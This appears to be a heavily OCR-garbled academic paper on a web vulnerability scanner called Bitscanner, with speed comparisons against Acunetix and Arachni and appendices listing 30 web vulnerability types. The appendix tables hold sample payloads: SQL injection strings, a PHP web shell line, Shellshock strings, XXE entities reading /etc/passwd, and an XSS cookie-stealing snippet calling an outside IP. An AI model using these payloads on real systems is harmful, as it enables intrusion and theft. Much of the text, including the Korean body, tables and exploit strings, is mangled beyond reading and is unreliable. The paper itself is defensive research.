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ABSTRACT

The web space where web applications run is the cyber information warfare of attackers and defenders due to the open
HTML. In the cyber attack space, about 84% of worldwide attacks exploit vulnerabilities in web applications and software.
It is very difficult to detect web vulnerability attacks with security products such as web firewalls, and high labor costs are
required for security verification and assurance of web applications. Therefore, rapid vulnerability detection and response in
web space by automated software is a key and effective cyber attack defense strategy. In this paper, we establish a security
risk management model by intensively analyzing security threats against web applications and software, and propose a
method to effectively diagnose web and application vulnerabilities. The testing results on the commercial service are
analyzed to prove that our approach is more effective than the other existing methods.
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Fig. 9. Bitscanner Operation Dash-Board

distribution of vulnerability risk level

Fig. 10. Bitscanner Vulnerability Scanning
Result

Table 4. 2019 Top Vulnerability Statistics
(Experiment by Bitscan INC, BNst Co.,
LTD)

Rank Vulnerability Risk | Percentage
1 CGI Directory Found 5 39
2 XSS 3 36
3 Directory Listing Found 5
4 500 Page Errorntage 2
5 POST method allowed 5

SQL Injection

=N = (RN

6 MySQL Injection !
Exception Error 4
7 PHP Information Found 5
Suspicious Error
Total 100

9 elzeelie a8 Al b 7470 2
A} ok 105709) URLE 714 272 5418 49
9 kAol 2 SEshe %)

H =Relx Awsl= Bitscanner 2 As ¥
71 9s, & deAl 8 59 Arachni(22) ¥

Acunetix(23) 4§ 270}l vladch A 97t
£ 95t 3709 4 efEeAle1 S ARSI
el S o Ze|Alo] & Microsoft-11S/8.5 web
serverdolAd  Add=Hw vz 3 e

Table 5. Scanning Speed Comparision of Web
Vulnerability Scanning Tools.(Unit : ms]

Application | Bitscanner Acunetix Arachni
1 72 783 3600
2 69 1363 4558
3 145 708 3600

Nginx/1.4.1 € AW AbellA 258} & 50 3
7F i 3 B FHH 2~ SEE B
efigich a2ejx 35 Col A3 2z s Ay
sl
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Hrp o B2 HgHE A & 4 3tk Google
Cloud Scanner=  47}A ek, =
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Table 6. The Comparison of Web Apps
Vulnerability.

Description Tools
Item Sub-Item | Bitscanner [ Google | Other Tools
Web
Target Web URI URL Web URL
Crawl and |Crawl Depth|Full Depth| 1~2 NA

Detection | gcqp Speed | Very High | Medium Medium

Fa} S.e 0 Low Low
Positive
Vulnerability| 5, . | OVASE Top
Vulnerabilit| Definition / CWS 808
y
Assessment | Assessment SAST/ NA SAST/DAST

Type Signature
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Appendix A. Description of 30 Web Application Vulnerabilities.
* In the following table, the rank number in the risk level does not mean the order of sub-risk level.
Table A.1 Risk Level 1 Vulnerabilities Description
Rank| Descrip) Vulnerabilil - petail Description Exploit CWE OwASP| MITRE
. .. String query = "SELECT *
Execution of malicious
1 : SQL gQLbcommands tof conbtrol gi%l\é _accounts WHERE 89 6
njection |database server of we
; ; 1equest getparameter
application. Cid)+ 7
Injection of data to craft ugsfrigUlsgrlniineatexg(
9 IXPATH XPath e)iipressfion to And 643 Al
njection |retrieve data from an Password/text() =" .
passwor
XML database. 17
Injection of LDAP
LDAp |statements to run login = "(&(uid =" + uid
3 Injection arbitrary LDAP + 7) (Password = ”+ 90
w commands to modify user_password + ”))”:
content.
Usage of malicious script
to maintain persistent (?php ) ,
4 Web Shell | access on an already system($_GET("ecmd’)); 434 16
compromised web 7
application.
Shell | Iniection of malicious env x = ({73} echo
5 Shock code into environment Vulnerable bach -c "echo 78 11
Remote }/ariables used by 1OdS this is a test”
mproper input validation
Access Apache |allows attacker to execute|» (s:property value =
6 | Termin Struts2 |an arbitrary code through nonEx1st1ngP10pe1ty ” 20 3
al £ ttrib g 8N default ="%{expression}”/)
(RAT) ag attributes. T T
CVE-2014- Execution of arbitrary cbl.éci)%lf%lﬁcca44rzlla595fccle
7 6971 code through crafted 940deb0 78 A9
E:nvn“onmentf = ?)tt?cko}er*nkl)achiﬁe.com
_ _| Execution of arbitrary 21}y /bin/sleep
8 CVEZ%QM code through crafted 20|/sbin/sleep 78 1
%nvironmentf = 20| /usr/bin/sleep 20
_ _| Execution of arbitrary ’ . .
9 CVEZ%QM code through crafted <f<(a). {};{() Lo xO0 ) 78
environment ’1 1
Remote execution of payloa ”
: "(#cmd = /s ).” % cmd
_ _| arbitrary commands " . ,
10 C\/gégl"{' through Craft%dTTP try: headers={"User-Agent 2 3
content-type "Mozilla/5.0"."Content-T
U yp
header e payload)
<‘?xm& Version? 81‘9>
) encoding= "utf-8"7
poorly eontizured XML | GNP oo
11 XXE p (IELEMENT foo ANY ) | 611 A4 17

external entity reference
with XML document.

(IENTITY xxe SYSTEM
"file:///dev/random” )])
(foo)&xxe:{/foo)
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Table A.2 Risk Level 2 Vulnerabilities Description
Rank D‘if’géip Vuln&l}"abili Detail Description Exploit C\IA]SE7 OWASP| MITRE
Attacker injects SQL SELECT * FROM
query to perform true or |products WHERE ID =
Blind SQL false operations on 10 AND 1=1:
12 Iniection database and determine |SELECT * FROM Al
Data m output based on products WHERE ID =
Leakage application response 10: WAIT FOR DELAY 89 6
g 00:00:15
Attempts to inject of ) ” *
s B9l | maiictons Salscommands | ¢eatequensCueleet “ from |
Possibility | t0 obtain database “+inputld+""): '
Y |information. P
Table A.3 Risk Level 3 Vulnerabilities Description
Rank| Déscrip| Vulnerabilil - pegai escription Exploit CWE OWASP| MITRE
honloiage().src="http://19
Injection of malicious newlmage().src= http: 9
Cross-Site | scripts into web ﬁ&?ﬁ}“i égéﬁ?ﬁf&s C%}élﬁlg
14 Scripting | application which </spcr1 £ 79 AT 2
(XSS) incorrectly neutralizes p
External input. gnmouseover:alert('Wufff!
Access Velick mel{/b)
Internal Application improperly
15 Server handle errors that occur 388
Error during processing and http://10.0.2.15/users/adm A6
500 Page reveals sensitive in
16 Error g information to allow 550
attacker to have access.
Table A.4 Risk Level 4 Vulnerabilities Description
Rank| Descrip Vulnerabill — pegaj) pescription Exploit OV OWASP| MITRE
POST
http://example.com/xml
Attackers use POST HTTP/1.1
method to inject (?xml version= 1?9
POST malicious XML data into |encoding="utf-8"
17 XML found| server side of an {(IDOCTYPE foo [ 209 | Ad, A6 4
application to retrieve (JELEMENT foo ANY)
information. . (IENTITY xxe SYSTEM
file:///etc/passwd”))
(foo)&x>f<ei< fgo)
. Microsoft VBScript
%51;10%‘5 rTuntime error '800a000d”
: ype
18 gféﬁslcnpt' mismatch:’ (string:”"")’
Informat Basic) /scripts/confirmPurchase.al
ion sp.line 711
Reveal try {
openD](oConnectiogB() g
A tch (Exception $e)
Web application ca
19 Exceptional | generates error message ggh;) egﬁ%gg ?;)E)ceptlon 200 A6 4
Error that contains sensitive echog "Check fredentlalys inl 209
information about users. config file at:
$Mys}ql config_location,
window.ub.form.validation
Messages.your_password
2 Validation Invalid password!”;
Error window.ub.form.validation
Messages.your_username
= "Invalid usernamel!”:
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Table A.5 Risk Level 5 Vulnerabilities Description
Rank| D%isgéip Vulnte;“abili Detail Description Exploit C\IA]SE7 OWASP| MITRE
. Web server is configured
Directory . : h 'GET /<nu11 byte).jsp 538 | A2, A3,
21 o to display the list of files
Listing in a directory ETTPH , 548 | A5, Ab
ttps://Target/scripts/p
929 Known gatgcgﬁrfﬁig f{%%;gdb p/file-browser-demo/index 929
Directory n ¥ .php?path=[(DirectoryNa
ame. e A6
Admin Application allows GET
23 Directory |unauthorized access to httpi//te§tphp.vulweb.co 22
found file system of application | m/admin
GET
HTTP Request that T . 10
CGI ] allows attacker to access /cgl bln/search.cgl?letter
24 directory directory listing in web A\ NN ASARGVIO
found filos stein g &stalt 1&perpage= all
ystem. ETTP % 0 lllhn " = 22 A5
. ttp ocalhost/cgi-bin/vi
95 CGI file ggglggniléggsoaftg%cker to ewsrc.cgi?loc=.../filename
found epocified file y http://vuln/cgi-bin/index.
p cgi?file=/etc/passwd
Vulner | PHP Injects code to reveal (? ph
26 | able information|information about current hl)inlf)o 0 200 A3 4
leaked state of PHP ? b ’
form
Allows users to upload _
97 File Upload| files which may be (eﬁ(t:;ype— ‘multipart/form 434 A5 16
function csigl&iirous to the web action="uploader.php’
: method ="POST"
Code Allow attackers to obtain | http://www.example.com, 200
28 disclosure |server-side source code of| download.php?filename=d 540 A6
web application ownload.php 4
Server o . . . | /_raw/services/server/inf
29 information ?g\lﬁgglreglde information is o/server-info?output_mode| 200 A3
=json
{form
enctype="multipart/form-
POST Attackers uses POST data” id= myform
30 method method to exploit method="post” A6
allowed vulnerabilities action="http://applicatio
ﬂ.g/ogn/vulnerable_script.p
D
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Appendix B. Vulnerability Diagnosis Result of 2019 Domestic Web Sites Sample.

No | Tope |imtermay/[Bection vp KISkl No | mype | tpiemaly Frccution vp |Rick
1 Webtoon 123 / 25| 2639 3 3 | 45 |Development| 154 /7 15 2 3
2 Security 59 /2 15 7 3 46 | Development| 86 / 2 115 9 5
3 Sale 419 / 17 204 1 5 47 Finance 13/1 12 2 5
4 Security 51/ 2 898 1 5 48 | development | 494 / 9 28 1 5
5 Institution | 131/ 18 65 3 3 49 |Development| 86 /1 16 1 5
6 Security 84 /2 7 2 5 50 Making 1441 / 16 2951 21 5
7 IT 83/ 0 4 1 3 51 Making 54 /0 16 2 3
§ |Development | 34 /1 | 640 | 2 | 5 | 52| [Patent 1 70/4 4 | 115
9 Making 139 / 11 8 1 5 53 Institution 196 / 12 66 1 4
10 | Development | 147 / 6 12 1 5 54 | Development 22/3 7 2 2
11 | Development | 159 / 22 102 18 3 55 Software 133/ 2 16 1 5
12 | Development | 186 / 8 28 3 5 56 Consulting 52/ 8 132 1 2
13 Institution | 120 / 76 43 5 3 57 Wholesale 15/ 4 108 1 3
14 | Newspaper | 390/ 20 70 1 3 58 Security 62/ 0 5 2 3
15 Education 774 / 23 1401 1 3 59 Wholesale 143 /1 21 6 3
16 Software 97 / 6 712 2 3 60 | Development| 21/ 6 24 4 5
17 Finance 418 / 8 204 1 5 61 Making 324 / 11 374 2 5
18 Institution |[392 / 13| 1986 1 5 62 | Development| 174 /7 174 1 5
19 Institution 405 /5 98 46 3 63 IT 93 /0 78 1 5
20 | Development | 183 / 1 34 2 5 64 Software 130 / 271 171 1 5
21 The press | 121/ 38 224 2 5 65 Lawyer 83 /5 40 2 5
22 | Development | 56 / 3 40 1 5 66 Lawyer 140 / 1 23 4 3
23 Facilities 126 / 3 5 2 3 67 Lawyer 94 /1 18 1 3
24 Network 164 / 2 70 1 5 68 |Development| 502 / 12 232 2 5
25 | Development | 38 / 5 12 1 5 69 |Development| 414 /7 53 5 2
26 | Development | 44 / 2 66 1 5 70 Wholesale 729 / 97 1366 8 1
27 Wholesale 53/ 3 14 2 3 71 |Development | 3249 / 31 288 70 3
28 Security 203 / 10 274 3 5 72 | Development| 80 / 12 127 2 5
29 IT 695 / 32 578 1 3 73 Wholesale 114/ 0 33 1 3
30 |Advertisement| 86 / 4 66 1 3 74 | Development| 78/ 3 21 1 5
31 IT 15/ 2 6 1 5 75 Making 356 / 14 148 12 5
32 Religion 105/ 4 19 4 1 76 | Development| 185/ 6 80 2 3
33 Religion 39/0 14 1 5 77 |Development| 79/ 4 16 1 5
34 Security 185/ 2 39 1 3 78 Wholesale 209 / 14 50 1 3
35 Making 162 / 8 36 2 3 79 Making 1415/ 7 1605 15 3
36 Making 102 / 2 16 2 1 80 Software 44 / 3 157 3 5
37 | Development | 116 / 2 21 1 5 81 Finance 170 / 5 58 1 3
38 IT 178 / 4 64 2 5 82 Making 3053 / 91 6491 7 3
39 | Development | 165/ 3 28 1 5 83 Education 174 / 12 875 1 5
40 | Development | 606 / 1 808 5 5 84 Education 186 / 24 1011 1 5
41 Consulting 35/5 16 1 5 85 Education | 1040 / 33 1479 83 3
42 Wholesale | 360/ 16 118 2 1 86 Education 63/ 1 28 1 5
43 | Development | 28 / 2 8 1 2 87 | Development| 61 /9 15 1 5
44 Accounting |[3032 / 91| 1681 1 2 Mean 318 / 14 367
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Appendix C: Screenshoot of web valunerability scanning tools showing execution time

Appendix C.1 Screenshoot of BitScanner showing execution time

Analyzing url->/Templatize asp?item=html/Templatize.asp?item=html/ :: [500]
URL Access count: 33 Parsing web page count: 11 (0- Flash & 15 file)
Suspicipus URL count: 18 Suspicipys parameter Inspection count: 18

Elapsed Time:0H 1M 125

1.High risk vulnerability found 14
2.Medium risk possibility found 3
3. Low risk vulnerability found 1}
4. Trivial risk found 0
5. Informational risk found 1

Appendix C.2 Screenshoot of Acunetix showing execution time

< Back Stop Scan Generate Report WAF Export... ¥
Acunetix Threat Level 3 Activity
Overall 100%
One or more high-severity type vulnerabilities veratprogress !
HIGH have been discovered by the scanner. A
malicious user can exploit these vulnerabilities .
i Scanning of testasp.vulnweb.com started Dec 12,2019 9:16:04 PM

and compromise the backend database and/or

deface your website. Scanning of testasp.vulnweb.com completed  Dec 12,2019 9:29:07 PM

Login forms were detected but LSR or
Dec 12,2019 9:29:07 PM
Autologin are not being used.

Sc ur ime

13m 3s 25,045 75ms

Target Information Latest Alerts (14 o] 7] 4]
Address testasp.vulnweb.com @ Cross site scripting Dec 12,2019 9:27:44 PM
Server Microsoft-11S/8.5 HTML form without CSRF protection Dec 12,2019 9:27:52 PM

Appendix C.3 Screenshoot of Arachni showing execution time

http://testaspnet.vulnweb.com
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